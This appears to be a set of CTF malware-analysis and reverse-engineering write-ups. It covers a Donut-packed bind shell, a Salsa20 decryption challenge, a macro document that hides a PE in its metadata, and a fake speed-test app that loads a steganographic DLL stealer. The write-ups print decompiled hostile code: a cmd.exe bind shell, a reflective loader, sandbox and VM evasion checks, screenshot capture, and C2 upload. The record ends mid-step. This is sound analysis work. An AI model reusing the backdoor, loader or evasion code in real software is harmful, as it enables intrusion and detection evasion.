python donut_decryptor.py decrypted_shellcode.bin -o output/
Output files:
- mod_decrypted_shellcode.bin - The extracted PE file (16,696 bytes)
- inst_decrypted_shellcode.bin - Decrypted instance metadata
Donut Structure (Technical Details)
For those interested in the internals, Donut uses the CHASKEY cipher in CTR mode:
1
2
3
4
5
6
7
Donut Instance Structure:
Offset 0x00-0x03: Instance size (4 bytes, little-endian)
Offset 0x04-0x13: Master Key (16 bytes)
Offset 0x14-0x23: Counter/Nonce (16 bytes)
Offset 0x24-0x2B: IV (8 bytes)
Offset 0x234: Entropy flag (3 = ENTROPY_DEFAULT = encrypted)
Offset 0x23c: Encrypted body starts
The cryptographic parameters extracted:
1
2
Key: ce0d03c25a8062fa8dfb690fc84e4928
Counter: 37f26a4999ba0c153fc074af9b23ba46
CHASKEY uses a 16-round ARX (Add-Rotate-XOR) permutation with big-endian counter increment for CTR mode.
Stage 4: Binary Analysis with Ghidra
Loading the PE
I loaded mod_decrypted_shellcode.bin (16,696 bytes) into Ghidra:
- Architecture: x86-64
- Compiler: MinGW GCC
- Type: Windows console executable
Main Function Analysis
The main function at FUN_1400026f0 reveals a bind shell backdoor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void FUN_1400026f0(void) {
WSADATA wsaData;
SOCKET serverSocket, clientSocket;
struct sockaddr_in serverAddr;
STARTUPINFO si;
PROCESS_INFORMATION pi;
// Initialize Winsock
WSAStartup(MAKEWORD(2, 2), &wsaData);
// Create socket
serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// Bind to port 1337 (0x539)
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = INADDR_ANY;
serverAddr.sin_port = htons(0x539); // Port 1337
bind(serverSocket, &serverAddr, sizeof(serverAddr));
listen(serverSocket, 1);
// Accept connection
clientSocket = accept(serverSocket, NULL, NULL);
// Spawn cmd.exe with socket I/O redirection
si.hStdInput = clientSocket;
si.hStdOutput = clientSocket;
si.hStdError = clientSocket;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}
Key Finding: This is a classic bind shell backdoor on port 1337.
Octal Decoder Function
More interestingly, I found a function at FUN_140001450 that decodes octal strings:
1
2
3
long FUN_140001450(char *param_1) {
return strtol(param_1, NULL, 8); // Base 8 = octal
}
Suspicious “IP Addresses”
At data section DAT_140003000, I found an array of 19 strings that look like IP addresses:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"156.145.170.163"
"145.143.62.65"
"173.65.61.63"
"141.146.143.61"
"62.67.62.142"
"64.60.66.66"
"70.71.71.65"
"144.141.63.146"
"66.71.146.141"
"145.145.145.65"
"142.63.67.144"
"144.65.70.142"
"145.143.143.143"
"71.146.142.146"
"64.61.143.143"
"63.142.64.64"
"141.65.70.66"
"66.71.144.145"
"66.175"
But wait, these aren’t valid IPs! Values like 170, 173, 175 exceed 255. Combined with the octal decoder function, this is clearly octal-encoded data!
Stage 5: Flag Extraction - Octal Decoding
The Encoding Scheme
Each “octet” is actually an octal number representing an ASCII character:
1
2
3
4
156 (octal) = 110 (decimal) = 'n'
145 (octal) = 101 (decimal) = 'e'
170 (octal) = 120 (decimal) = 'x'
163 (octal) = 115 (decimal) = 's'
The first “IP”156.145.170.163 decodes to "nexs" - the start of our flag!
Decoding Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ips = [
'156.145.170.163', '145.143.62.65', '173.65.61.63',
'141.146.143.61', '62.67.62.142', '64.60.66.66',
'70.71.71.65', '144.141.63.146', '66.71.146.141',
'145.145.145.65', '142.63.67.144', '144.65.70.142',
'145.143.143.143', '71.146.142.146', '64.61.143.143',
'63.142.64.64', '141.65.70.66', '66.71.144.145', '66.175'
]
flag = ''
for ip in ips:
for octet in ip.split('.'):
flag += chr(int(octet, 8))
print(f"Flag: {flag}")
Flag:
nexsec25{513afc1272b40668995da3f69faeee5b37dd58beccc9fbf41cc3b44a58669de6}
Stolen Credentials
By Mynz
Category: Reverse Engineering
Description: During an incident response, we discovered a suspicious binary (soso.exe) that was encrypting harvested credentials before storing them in password.txt.
Flag format: NEXSEC25{password}
Solution:
We are given a soso binary file and password.txt,after further investigation, i found that the binary is actually macOS x86_64 executable binary
Using Binary Ninja, i found that the program use
- _salsa20_permute - Core cipher function
- _salsa20_block - Key stream generation
- _base64_encode - Output encoding
Here i found the key and nonce
Key: d3fc98f246d58c0022859 04d6120d205cd7eb0b54245764be494712a7aec549e (32 byte)
Nonce: 1c0aea05c0aeae60 (8 byte)
By analysing the salsa block, you can see it uses the constant spell “expand 32-byte k”.
While the salsa permute function performs 10 double-rounds (20 rounds total) using quarter-round operations:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
After getting counter, key and nonce, we can decrypt it
*\#\!/usr/bin/env python3*
"""
Salsa20 decryption script for the 'soso' challenge
"""
import base64
import struct
*\# Key and nonce from the binary*
KEY \= bytes(\[
0xd3, 0xfc, 0x98, 0xf2, 0x46, 0xd5, 0x8c, 0x00,
0x22, 0x85, 0x90, 0x4d, 0x61, 0x20, 0xd2, 0x05,
0xcd, 0x7e, 0xb0, 0xb5, 0x42, 0x45, 0x76, 0x4b,
0xe4, 0x94, 0x71, 0x2a, 0x7a, 0xec, 0x54, 0x9e
\])
NONCE \= bytes(\[0x1c, 0x0a, 0xea, 0x05, 0xc0, 0xae, 0xae, 0x60\])
def salsa20\_quarter\_round(state, a, b, c, d):
"""Perform a quarter round on the state"""
state\[b\] ^= ((state\[a\] \+ state\[d\]) & 0xffffffff) \<\< 7 | ((state\[a\] \+ state\[d\]) & 0xffffffff) \>\> 25
state\[c\] ^= ((state\[b\] \+ state\[a\]) & 0xffffffff) \<\< 9 | ((state\[b\] \+ state\[a\]) & 0xffffffff) \>\> 23
state\[d\] ^= ((state\[c\] \+ state\[b\]) & 0xffffffff) \<\< 13 | ((state\[c\] \+ state\[b\]) & 0xffffffff) \>\> 19
state\[a\] ^= ((state\[d\] \+ state\[c\]) & 0xffffffff) \<\< 18 | ((state\[d\] \+ state\[c\]) & 0xffffffff) \>\> 14
*\# Keep values as 32-bit unsigned*
state\[a\] &= 0xffffffff
state\[b\] &= 0xffffffff
state\[c\] &= 0xffffffff
state\[d\] &= 0xffffffff
def salsa20\_permute(state):
"""Perform the Salsa20 permutation (20 rounds)"""
for \_ in range(10):
*\# Column rounds*
salsa20\_quarter\_round(state, 0, 4, 8, 12)
salsa20\_quarter\_round(state, 5, 9, 13, 1)
salsa20\_quarter\_round(state, 10, 14, 2, 6)
salsa20\_quarter\_round(state, 15, 3, 7, 11)
*\# Row rounds*
salsa20\_quarter\_round(state, 0, 1, 2, 3)
salsa20\_quarter\_round(state, 5, 6, 7, 4)
salsa20\_quarter\_round(state, 10, 11, 8, 9)
salsa20\_quarter\_round(state, 15, 12, 13, 14)
def salsa20\_block(key, nonce, counter):
"""Generate a 64-byte Salsa20 keystream block"""
*\# Constants "expand 32-byte k"*
constants \= b"expa" \+ b"nd 3" \+ b"2-by" \+ b"te k"
*\# Build the initial state*
state \= \[0\] \* 16
*\# Constants*
state\[0\] \= struct.unpack('\<I', constants\[0:4\])\[0\] *\# "expa"*
state\[5\] \= struct.unpack('\<I', constants\[4:8\])\[0\] *\# "nd 3"*
state\[10\] \= struct.unpack('\<I', constants\[8:12\])\[0\] *\# "2-by"*
state\[15\] \= struct.unpack('\<I', constants\[12:16\])\[0\] *\# "te k"*
*\# Key (256 bits / 32 bytes)*
state\[1\] \= struct.unpack('\<I', key\[0:4\])\[0\]
state\[2\] \= struct.unpack('\<I', key\[4:8\])\[0\]
state\[3\] \= struct.unpack('\<I', key\[8:12\])\[0\]
state\[4\] \= struct.unpack('\<I', key\[12:16\])\[0\]
state\[11\] \= struct.unpack('\<I', key\[16:20\])\[0\]
state\[12\] \= struct.unpack('\<I', key\[20:24\])\[0\]
state\[13\] \= struct.unpack('\<I', key\[24:28\])\[0\]
state\[14\] \= struct.unpack('\<I', key\[28:32\])\[0\]
*\# Nonce (64 bits / 8 bytes)*
state\[6\] \= struct.unpack('\<I', nonce\[0:4\])\[0\]
state\[7\] \= struct.unpack('\<I', nonce\[4:8\])\[0\]
*\# Counter (64 bits)*
state\[8\] \= counter & 0xffffffff
state\[9\] \= (counter \>\> 32) & 0xffffffff
*\# Save original state*
original \= state\[:\]
*\# Perform permutation*
salsa20\_permute(state)
*\# Add original state*
for i in range(16):
state\[i\] \= (state\[i\] \+ original\[i\]) & 0xffffffff
*\# Convert to bytes*
output \= b''
for i in range(16):
output \+= struct.pack('\<I', state\[i\])
return output
def encrypt\_decrypt(data, key, nonce):
"""Encrypt or decrypt data using Salsa20 (same operation for both)"""
keystream \= salsa20\_block(key, nonce, 0)
result \= bytearray()
for i in range(len(data)):
result.append(data\[i\] ^ keystream\[i\])
return bytes(result)
def decrypt\_credentials(b64\_ciphertext):
"""Decrypt base64-encoded ciphertext"""
try:
ciphertext \= base64.b64decode(b64\_ciphertext)
plaintext \= encrypt\_decrypt(ciphertext, KEY, NONCE)
return plaintext.decode('utf-8', errors\='replace')
except Exception as e:
return f"Error: {e}"
*\# Automatically find and decrypt password.txt*
import os
password\_file \= os.path.join(os.path.dirname(\_\_file\_\_), "password.txt")
if os.path.exists(password\_file):
with open(password\_file, 'r') as f:
ciphertext \= f.read().strip()
print(f"Found password.txt: {ciphertext}")
plaintext \= decrypt\_credentials(ciphertext)
print(f"Decrypted: {plaintext}")
print(f"\\nFlag: nexsec25}")
else:
print("Error: password.txt not found in the current directory")
Flag:
nexsec25{QWERTYasdfg12345!@#$%}
Rembayung #1 - #2
By m0nt3r
Q1
Category: Malware Analysis
Description: One of our employees received an email inviting them to the opening ceremony of a restaurant. The email appeared suspicious, and fortunately our email system automatically quarantined it. Could you help us locate the payload?
Flag Format: nexsec25{place}
ps: infected
Disclaimer: This malware is used the competition MCMC CTF. Netbytesec is not responsible for any damages caused as a result of inappropriate use of this malware. All examination of malicious files should only be performed inside a secure, isolated, and controlled environment.
Solution:
Step 1: Identify the File Type
The file has a .docm extension, which indicates it’s a Microsoft Word document
with macros. These files are actually ZIP archives in disguise.
Command:
Get-Item “Jemputan ke Majlis Perasmian Restaurant Rembayung.docm”
Step 2: Extract the Document Archive
Since .docm files are ZIP containers following the Office Open XML format,
we can extract them to examine the internal structure.
Commands:
# Copy to a simpler location and rename
Copy-Item “Jemputan ke Majlis Perasmian Restaurant Rembayung.docm” -Destination “C:\temp\document.docm”
# Extract the archive using Python
cd C:\temp
python -c “import zipfile; zipfile.ZipFile(‘document.docm’).extractall(‘extracted’)”
Step 3: Explore the Document Structure
Command:
cd C:\temp\extracted
Get-ChildItem -Recurse | Select-Object FullName, Length
It revealed multiple files, most of it are xml, but, I found a large xml file, thinking its hiding something
core.xml #Suspicious large file (20,510 bytes)
Step 4: Examine the Suspicious File
The core.xml file in docProps/ was unusually large (20,510 bytes).
Normally, this metadata file is only a few hundred bytes.
Command:
Get-Content C:\temp\extracted\docProps\core.xml
Step 5: Discover the Hidden Payload
Inside core.xml, we found a massive base64-encoded string hidden in the
<dc:description> XML element:
The base64 string was 19,800 characters long - clearly not a normal description!
Step 6: Decode the Base64
Python script to decode:
import base64
import re
# Read core.xml
with open(‘extracted/docProps/core.xml’, ‘r’, encoding=’utf-8’) as f:
content = f.read()
# Extract base64 data
match = re.search(r’<dc:description>(.*?)</dc:description>’, content, re.DOTALL)
base64_data = match.group(1).strip()
# Decode
decoded = base64.b64decode(base64_data)
# Check if it’s a PE file
print(f”First 2 bytes: {decoded[:2]}”) # Should be ‘MZ’
print(f”Decoded size: {len(decoded)} bytes”)
# Save the payload
with open(‘payload.exe’, ‘wb’) as f:
f.write(decoded)
Output:
First 2 bytes: b’MZ’
Decoded size: 14848 bytes
The MZ signature confirms this is a Windows PE (Portable Executable) file!
ANSWER
The payload was located in the **description** field of the document’s metadata.
FLAG: nexsec25{description}
Q2
Give the SHA256 of the malware Flag Format: nexsec25{hashvalue}
Now that we’ve extracted the malware payload (payload.exe), we need to
calculate its SHA256 hash.
Using PowerShell :
| Get-FileHash -Algorithm SHA256 C:\temp\payload.exe | Select-Object Hash |
SHA256: ca9e35196f04dca67275784a8bd05b9c4e7058721204ccd5eef38244b954e1c3
Flag:
nexsec25{ca9e35196f04dca67275784a8bd05b9c4e7058721204ccd5eef38244b954e1c3}
Speed Test Anomaly #1 - #4
By Jerit3787
Q1
Category: Malware Analysis
Description: A user reported that they downloaded a network speed testing utility from a third-party website to diagnose their slow internet connection. The application claims to measure download/upload speeds and display detailed network statistics.
However, after running the tool, the user noticed unusual outbound network traffic that didn’t match typical speed test patterns. The security team suspects this may be a disguised threat and needs to identify the threat actor’s infrastructure. Reverse-engineer the binary and identify the library name used by the malware to detect sandbox environments.
ps: infected
Disclaimer: This malware sample was created exclusively for the NEXSEC CTF competition. The authors are not responsible for any damages caused by misuse. All analysis should only be performed in a secure, isolated environment such as a virtual machine or sandbox.
Solution:
Step 1: Initial Analysis
So I got this NetworkSpeed.exe file. My first instinct was to throw it into Ghidra to see what’s up. But when I looked at the disassembly, I saw something weird:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
**************************************************************
* FUNCTION *
**************************************************************
byte * TestLatency(pointer benchmarkStream)
byte * EAX:4 <RETURN>
pointer Stack[0x4]:4 benchmarkStream
.NET CLR Managed Code
TestLatency
00402478 02 73 3a db[28]
00 00 0a
0a 06 28
00402478 [0] 2h, 73h, 3Ah, 0h,
0040247c [4] 0h, Ah, Ah, 6h,
00402480 [8] 28h, Ah, 0h, 0h,
00402484 [12] 6h, Bh, DEh, Ah,
00402488 [16] 6h, 2Ch, 6h, 6h,
0040248c [20] 6Fh, 32h, 0h, 0h,
00402490 [24] Ah, DCh, 7h, 2Ah
See that .NET CLR Managed Code tag? That’s a dead giveaway - this isn’t native code, it’s a .NET application! Ghidra can’t really decompile .NET properly, so we need different tools.
Step 2: Get the right tools
Since it’s .NET, I grabbed dotPeek (free from JetBrains) to decompile it. You could also use dnSpy or ILSpy - they all work.
Opening NetworkSpeed.exe in dotPeek, I can see it’s a Windows Forms app. The entry point is pretty standard:
1
2
3
4
5
6
7
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run((Form) new MainForm());
}
Step 3: Dig into MainForm - found something sus
Looking at MainForm.cs, I found the form’s load event:
1
2
3
4
5
6
private void MainForm_Load(object sender, EventArgs e)
{
this.InitializeTimer();
this.RunNetworkBenchmark(); // hmm what's this?
// ... tooltip stuff
}
RunNetworkBenchmark()? That’s a weird name. Let’s check it out…
Step 4: Found the payload loader!
This method is doing some sneaky stuff:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void RunNetworkBenchmark()
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
string name = (string) null;
// Looking for a .bmp file in resources
foreach (string str in manifestResourceNames)
{
if (str.EndsWith(".bmp", StringComparison.OrdinalIgnoreCase))
{
name = str;
break;
}
}
try
{
using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name))
// WTF - it's loading an assembly from a BMP image??
Assembly.Load(MainForm.TestLatency(manifestResourceStream))
.GetType(MainForm.DecodeConfig(/* obfuscated stuff */))
.GetMethod(MainForm.DecodeConfig(/* more obfuscated stuff */))
.Invoke(null, null);
}
catch { }
}
So it’s:
1. Finding a .bmp file in resources
2. Extracting something from it with TestLatency()
3. Loading it as a DLL
4. Calling some method with obfuscated names
Classic malware move - hiding a payload in an image!
Step 5: Decode those obfuscated strings
The malware uses simple XOR to hide the class/method names:
1
2
3
4
5
6
7
private static string DecodeConfig(byte[] encoded, byte key)
{
byte[] bytes = new byte[encoded.Length];
for (int index = 0; index < encoded.Length; ++index)
bytes[index] = (byte) ((uint) encoded[index] ^ (uint) key);
return Encoding.UTF8.GetString(bytes);
}
Quick Python script to decode them (key is 66):
1
2
3
4
5
6
7
8
9
# The type name
bytes1 = [12, 39, 54, 53, 45, 48, 41, 6, 43, 35, 37, 44, 45, 49, 54, 43, 33, 49, 108, 1, 45, 44, 44, 39, 33, 54, 43, 45, 44, 22, 39, 49, 54, 39, 48]
print(''.join(chr(b ^ 66) for b in bytes1))
# Output: NetworkDiagnostics.ConnectionTester
# The method name
bytes2 = [17, 59, 44, 33, 17, 39, 48, 52, 43, 33, 39, 15, 39, 54, 35, 38, 35, 54, 35]
print(''.join(chr(b ^ 66) for b in bytes2))
# Output: SyncServiceMetadata
So it’s calling NetworkDiagnostics.ConnectionTester.SyncServiceMetadata() from the hidden DLL.
Step 6: Extract the hidden payload
The payload is hidden in NetworkIcon.bmp using steganography. Instead of reimplementing the extraction algorithm, I just called the original method:
1
2
3
4
5
6
7
8
9
$asm = [System.Reflection.Assembly]::LoadFile("C:\path\to\NetworkSpeed.exe")
$stream = $asm.GetManifestResourceStream("NetworkSpeed.Resources.NetworkIcon.bmp")
$mainFormType = $asm.GetType("NetworkSpeed.MainForm")
$testMethod = $mainFormType.GetMethod("TestLatency",
[System.Reflection.BindingFlags]::Public -bor
[System.Reflection.BindingFlags]::Static)
$result = $testMethod.Invoke($null, @($stream))
[System.IO.File]::WriteAllBytes("CoreServices.dll", $result)
Got a 4.4 MB DLL with valid MZ header!
Step 7: Decompile the extracted DLL
Opening CoreServices.dll in dotPeek, I found these classes:
1
2
3
4
5
6
7
NetworkDiagnostics.ConnectionTester
NetworkDiagnostics.NetworkValidator <-- this looks interesting
NetworkDiagnostics.LatencyChecker
NetworkDiagnostics.BandwidthMonitor
NetworkDiagnostics.PacketTransmitter
NetworkDiagnostics.NetworkConfig
TelemetryClient.FetchRemoteProfile
Step 8: Found the anti-analysis checks!
In NetworkValidator.cs, there’s a VerifyConnection() method:
1
2
3
4
5
6
7
8
9
10
public static void VerifyConnection()
{
if (!NetworkValidator.GetRoutingTable() && // Debugger check
NetworkValidator.CheckNetworkFile() && // File check
!NetworkValidator.ResolveDnsRecord() && // Sandbox check!!!
!NetworkValidator.DetectNetworkAvailability() && // VM check
!NetworkValidator.ValidateNetworkSettings()) // Drive size check
return;
Environment.FailFast((string) null); // Kill itself if detected
}
Step 9: The sandbox detection - FOUND THE FLAG!
Looking at ResolveDnsRecord():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[DllImport("kernel32.dll", EntryPoint = "GetModuleHandle")]
public static extern IntPtr GetModulePtr(string moduleName);
private static bool ResolveDnsRecord()
{
bool flag;
try
{
flag = NetworkValidator.GetModulePtr("SbieDll.dll").ToInt32() != 0;
}
catch
{
flag = false;
}
return flag;
}
There it is! The malware calls GetModuleHandle("SbieDll.dll") to check if Sandboxie is running. SbieDll.dll is Sandboxie’s hooking DLL that gets injected into every process in the sandbox. If it’s loaded, the malware knows it’s being analyzed and kills itself.
Flag:
nexsec25{SbieDll.dll}
Q2
What is the minimum system drive size (in GB) required for the malware to execute?
Step 1: Where to look?
After extracting CoreServices.dll from the BMP steganography (see Flag 1 writeup), I opened it in dotPeek. Looking at the class names, NetworkValidator caught my eye - that’s where most anti-analysis checks usually live.
Step 2: Found the anti-analysis hub
In NetworkValidator.cs, I found VerifyConnection():
1
2
3
4
5
6
7
8
9
10
public static void VerifyConnection()
{
if (!NetworkValidator.GetRoutingTable() && // Debugger check
NetworkValidator.CheckNetworkFile() && // File check
!NetworkValidator.ResolveDnsRecord() && // Sandboxie check
!NetworkValidator.DetectNetworkAvailability() && // VM check
!NetworkValidator.ValidateNetworkSettings()) // <-- Drive size check!
return;
Environment.FailFast((string) null); // Dies if any check fails
}
See that ValidateNetworkSettings()? Let’s check it out.
Step 3: Found the drive size check!
1
2
3
4
5
6
7
8
9
10
11
12
13
private static bool ValidateNetworkSettings()
{
try
{
long num = 61000000000; // This is the magic number!
if (new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize <= num)
return true;
}
catch
{
}
return false;
}
Breaking this down:
1. Environment.SystemDirectory = C:\Windows\System32
2. Path.GetPathRoot() = C:\
3. new DriveInfo("C:\").TotalSize = size of C: drive in bytes
4. If the drive size ≤ 61,000,000,000 bytes → returns true (sandbox detected!)
Step 4: Do the math
The threshold is 61,000,000,000 bytes. Converting to GB:
1
61,000,000,000 ÷ 1,000,000,000 = 61 GB
(Using decimal/SI units, which is what the malware author used)
Step 5: Why this check exists
VMs and sandboxes usually have small disks to save space:
- Default VMware: 20-40 GB
- Default VirtualBox: 10-50 GB
- Cuckoo/Any.Run: Usually < 60 GB
By checking if the drive is 61 GB or less, the malware can detect most default analysis environments. Pretty clever actually.
Step 6: The logic flow
1
2
3
4
5
System drive ≤ 61 GB?
│
├── YES → Probably a VM/sandbox → Kill itself
│
└── NO → Real machine → Continue running
The malware needs a drive BIGGER than 61 GB to keep running.
Flag:
nexsec2025{61}
Q3
What filename does the malware use to save captured screenshots?
Step 1: Follow the execution flow
After extracting CoreServices.dll (see Flag 1), I looked at the entry point in ConnectionTester.cs:
1
2
3
4
5
6
7
8
9
10
11
12
13
private static void SyncServiceMetadata()
{
NetworkValidator.VerifyConnection(); // Anti-analysis (skip this for now)
BandwidthMonitor.MeasureThroughput(); // Steals files
LatencyChecker.PingHost(); // Hmm, "ping"? suspicious name
// Creates a ZIP and sends it somewhere
string destinationArchiveFileName =
$"{NetworkConfig.tempDirPath}\\\\..\\{NetworkConfig.hostName}.zip";
ZipFile.CreateFromDirectory(NetworkConfig.tempDirPath, destinationArchiveFileName);
ConnectionTester.TransmitDataAsync().GetAwaiter().GetResult();
}
LatencyChecker.PingHost()? That’s a weird name. Why would malware need to “ping” anything? Let’s check it out.
Step 3: Found the screenshot code!
Opening LatencyChecker.cs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class LatencyChecker
{
public static void PingHost()
{
try
{
// Creates some folders
Directory.CreateDirectory(
NetworkConfig.tempDirPath + "\\aSdFgHjKl\\QwErTyUiOp");
// Takes a screenshot
using (Bitmap bitmap = new Bitmap(1920, 1080))
{
Size blockRegionSize = new Size(bitmap.Width, bitmap.Height);
Graphics.FromImage((Image) bitmap)
.CopyFromScreen(0, 0, 0, 0, blockRegionSize);
// HERE'S THE FILENAME!
string filename = NetworkConfig.tempDirPath +
"\\aSdFgHjKl\\QwErTyUiOp\\ZxCvBnMl.jpg";
bitmap.Save(filename);
}
}
catch (Exception ex)
{
// Silent failure - sneaky
}
}
}
Ha! PingHost() doesn’t ping anything - it takes a screenshot! Classic malware trick of using misleading function names.
Step 4: The filename breakdown
Full path is:
1
{tempDirPath}\aSdFgHjKl\QwErTyUiOp\ZxCvBnMl.jpg
- Base folder - %TEMP%\{username}
- Folder 1- aSdFgHjKl
- Folder 2 - QwErTyUiOp
- Filename - ZxCvBnMl.jpg
Step 5: Fun observation - keyboard pattern
The malware author used a keyboard pattern for obfuscation:
- aSdFgHjKl → home row keys, alternating case
- QwErTyUiOp → top row keys, alternating case
- ZxCvBnMl → bottom row + some, alternating case
Kinda clever way to make “random” looking names that are easy to type.
Step 6: Verify with string search (optional)
If you want to double-check, just grep the DLL:
1
2
3
4
$bytes = [System.IO.File]::ReadAllBytes("CoreServices.dll")
$text = [System.Text.Encoding]::ASCII.GetString($bytes)
[regex]::Matches($text, '[\w]+\.jpg') | ForEach-Object { $_.Value }
# Output: ZxCvBnMl.jpg
Step 7: What the malware actually does
Quick summary of the data theft:
1
2
3
4
5
6
7
8
9
10
11
SyncServiceMetadata()
│
├── VerifyConnection() - Anti-analysis checks
│
├── MeasureThroughput() - Steals files from Documents, Downloads, etc
│
├── PingHost() - Takes screenshot → ZxCvBnMl.jpg
│
├── ZipFile.CreateFromDirectory() - Zips everything up
│
└── TransmitDataAsync() - Sends to C2 server
Flag:
nexsec25{ZxCvBnMl.jpg}
Q4
As usual, extract the domain used by the attacker.
Step 1: Find where data gets sent
After extracting CoreServices.dll (see Flag 1), I looked for network code. Found PacketTransmitter.cs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static async Task<bool> UploadPacket(string filePath)
{
try
{
// Decrypt something with this
FetchRemoteProfile fetchRemoteProfile = new FetchRemoteProfile(
Encoding.UTF8.GetString(
Convert.FromBase64String(NetworkConfig.SecureChannelProvider)));
// Build the URL - this looks interesting!
string requestUri = $"{fetchRemoteProfile.WxYzAbCdEf(NetworkConfig.TelemetryNetwork)}:" +
$"{fetchRemoteProfile.WxYzAbCdEf(NetworkConfig.ConnectivityModule)}/upload";
// POST the stolen data
using (HttpClient httpClient = new HttpClient())
{
// ... upload code
}
}
catch { return false; }
}
So the C2 URL is built from encrypted config values. Let’s find them!
Step 3: Find the encrypted config
In NetworkConfig.cs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class NetworkConfig
{
// This looks like encrypted C2 domain
public static string TelemetryNetwork =
"whQkhfaCW4dvBnzTCDW5rW6KLTU9RiSTcNwWFR/1gNP8rRfd9nuzy53BXr26J/7p" +
"eazAVzWXDeL02U5ZiAQ1xbh9hBpgXzGf0/ukSaW+9mwFRwVGOnaRwSgyJpJ7KAOK";
// Probably the port
public static string ConnectivityModule =
"KgLzmYKpZFe6P8SFkeOJyQqQdHpgagBwgiWg5GxfuQzId0L67FdiyDp8qZGyxPtU" +
"E+LOUJwuPrqsXWydzpUjsw==";
// This is base64 - probably the encryption key
public static string SecureChannelProvider =
"QWdYdDZUc2R3bTE4Y3p5Y2UycXpwN3RoTDhIbmc2eHc=";
}
Step 4: Understand the decryption
Looking at FetchRemoteProfile.cs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class FetchRemoteProfile
{
private readonly byte[] encodingKey; // AES key
private readonly byte[] authenticationKey; // HMAC key
// Hardcoded salt for key derivation
private static readonly byte[] protocolSalt = new byte[32]
{
191, 235, 30, 86, 251, 205, 151, 59,
178, 25, 2, 36, 48, 165, 120, 67,
0, 61, 86, 68, 210, 30, 98, 185,
212, 241, 128, 231, 230, 195, 57, 65
};
public FetchRemoteProfile(string networkSecret)
{
// PBKDF2 with 50,000 iterations!
using (Rfc2898DeriveBytes rfc2898DeriveBytes =
new Rfc2898DeriveBytes(networkSecret, protocolSalt, 50000))
{
this.encodingKey = rfc2898DeriveBytes.GetBytes(32); // AES-256
this.authenticationKey = rfc2898DeriveBytes.GetBytes(64); // HMAC
}
}
// The decrypt method
public string WxYzAbCdEf(string encodedPayload)
{
// Base64 decode → decrypt → return string
return Encoding.UTF8.GetString(
this.DecodePayloadBytes(Convert.FromBase64String(encodedPayload)));
}
}
So it’s:
1. AES-256-CBC encryption
2. Key derived via PBKDF2 with 50,000 iterations
3. Message format: [HMAC-32][IV-16][Ciphertext]
Step 5: Decrypt it with PowerShell!
Let me walk through the decryption:
1
2
3
4
5
6
7
# Step 1: Decode the master key from base64
$SecureChannelProvider = "QWdYdDZUc2R3bTE4Y3p5Y2UycXpwN3RoTDhIbmc2eHc="
$networkSecret = [System.Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String($SecureChannelProvider))
Write-Host "Master key: $networkSecret"
# Output: AgXt6Tsdwm18czyce2qzp7thL8Hng6xw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Step 2: Derive the AES key using PBKDF2
$protocolSalt = [byte[]]@(
191, 235, 30, 86, 251, 205, 151, 59,
178, 25, 2, 36, 48, 165, 120, 67,
0, 61, 86, 68, 210, 30, 98, 185,
212, 241, 128, 231, 230, 195, 57, 65
)
$rfc = New-Object System.Security.Cryptography.Rfc2898DeriveBytes(
$networkSecret,
$protocolSalt,
50000) # 50k iterations
$encodingKey = $rfc.GetBytes(32) # AES-256 key
$rfc.Dispose()
1
2
3
4
5
6
7
8
9
# Step 3: Parse the encrypted domain
$TelemetryNetwork = "whQkhfaCW4dvBnzTCDW5rW6KLTU9RiSTcNwWFR/1gNP8rRfd9nuzy53BXr26J/7peazAVzWXDeL02U5ZiAQ1xbh9hBpgXzGf0/ukSaW+9mwFRwVGOnaRwSgyJpJ7KAOK"
$encodedBytes = [Convert]::FromBase64String($TelemetryNetwork)
# Structure: [HMAC-32][IV-16][Ciphertext]
$hmacBytes = $encodedBytes[0..31] # First 32 bytes = HMAC (we skip this)
$ivBytes = $encodedBytes[32..47] # Next 16 bytes = IV
$ciphertext = $encodedBytes[48..($encodedBytes.Length-1)] # Rest = ciphertext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Step 4: Decrypt with AES-256-CBC
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $encodingKey
$aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor()
$decrypted = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
$domain = [System.Text.Encoding]::UTF8.GetString($decrypted)
Write-Host "Domain: $domain"
# Output: https://1k92jsas.capturextheflag.io
Step 6: Also decrypt the port
